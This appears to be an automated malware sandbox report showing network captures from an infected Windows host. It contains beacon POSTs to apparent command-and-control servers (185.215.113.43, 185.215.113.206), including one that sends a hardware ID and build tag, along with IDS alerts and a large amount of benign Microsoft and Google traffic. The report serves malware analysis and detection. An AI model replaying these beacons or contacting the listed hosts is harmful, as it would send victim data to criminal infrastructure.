Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="build"mars------DAECAECFCAAEBFHIEHDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49755 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49914 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50120 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50123 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50122 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50124 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50129 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50127 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50132 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50137 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50136 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50125 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50145 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50148 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50149 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50151 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50152 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50166 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50169 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50173 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50165 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50134 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:49756
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:50117

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe

Code function: 20_2_005EE0C0 recv,recv,recv,recv,

20_2_005EE0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cx4BNEmLhP9xUK2&MD=kc2w5st2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731351140832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=11F7061775776D430B031323746E6C70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
